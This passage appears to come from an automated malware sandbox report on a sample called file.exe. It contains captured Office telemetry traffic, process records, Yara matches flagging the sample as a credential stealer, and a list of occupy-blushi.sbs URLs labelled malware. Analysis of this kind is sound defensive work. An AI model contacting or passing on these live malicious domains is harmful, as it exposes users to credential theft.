2024-11-25 17:29:15 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	49943	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:15 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:15 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:15 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: a1d7de20-e01e-0051-6948-3c84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172915Z-178bfbc474bp8mkvhC1NYCzqnn00000007g000000000tw43 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:15 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	49945	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:15 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:16 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:16 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 8abb671b-d01e-0049-4b0c-3de7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172916Z-178bfbc474bvjk8shC1NYC83ns00000007n000000000c0nm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:16 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	49948	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:17 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:17 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:17 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: ab1afa94-201e-0085-151a-3d34e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172917Z-178bfbc474btvfdfhC1NYCa2en00000007y0000000002wxb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:17 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49949	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:17 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:17 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:17 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 64b31811-b01e-003e-50bf-3e8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172917Z-178bfbc474bq2pr7hC1NYCkfgg00000007u000000000rndm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:17 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49950	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:17 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:17 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:17 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: e07b2309-d01e-0049-04f5-3ee7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172917Z-15b8b599d88pxmdghC1TEBux9c00000006bg00000000dh4m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:17 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	49951	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:17 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:18 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:17 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 2e331142-b01e-001e-697c-3b0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172917Z-174c587ffdf6b487hC1TEBydsn000000064g00000000mnpk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:18 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	49952	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:18 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:18 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:18 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: cd486f0a-401e-0048-5b49-3c0409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172918Z-15b8b599d88wn9hhhC1TEBry0g000000069g00000000cg9s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:18 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	49955	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:19 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:20 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:19 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 6b6acbbe-a01e-0021-3306-3d814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172919Z-178bfbc474bh5zbqhC1NYCkdug00000007qg00000000d6wt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:20 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	49953	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:19 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:20 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:20 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 11fd19a1-001e-0046-3f80-3bda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172920Z-174c587ffdfb74xqhC1TEBhabc000000063g00000000yfq7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:20 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Target ID:	0
Start time:	12:28:04
Start date:	25/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x530000
File size:	1'843'200 bytes
MD5 hash:	F3A8C08B94962F3F0C54E2E784FBC24D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2274029788.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2195221853.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2195055041.0000000000FAC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2273994527.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:28:40
Start date:	25/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	12:28:40
Start date:	25/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 --field-trial-handle=1996,i,2893088172898688717,8554445924697785723,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	12:28:44
Start date:	25/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	12:28:44
Start date:	25/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=1768,i,17015382825324976768,322143472071585607,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: https://occupy-blushi.sbs/apil	Avira URL Cloud: Label: malware
Source: https://occupy-blushi.sbs/_	Avira URL Cloud: Label: malware
Source: https://occupy-blushi.sbs/	Avira URL Cloud: Label: malware
Source: https://occupy-blushi.sbs/apis	Avira URL Cloud: Label: malware
Source: https://occupy-blushi.sbs/O	Avira URL Cloud: Label: malware
Source: https://occupy-blushi.sbs/db	Avira URL Cloud: Label: malware
Source: https://occupy-blushi.sbs/pis	Avira URL Cloud: Label: malware
Source: https://occupy-blushi.sbs/api	Avira URL Cloud: Label: malware
Source: https://occupy-blushi.sbs/#	Avira URL Cloud: Label: malware
Source: https://occupy-blushi.sbs/api#	Avira URL Cloud: Label: malware
Source: https://occupy-blushi.sbs/ule	Avira URL Cloud: Label: malware

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
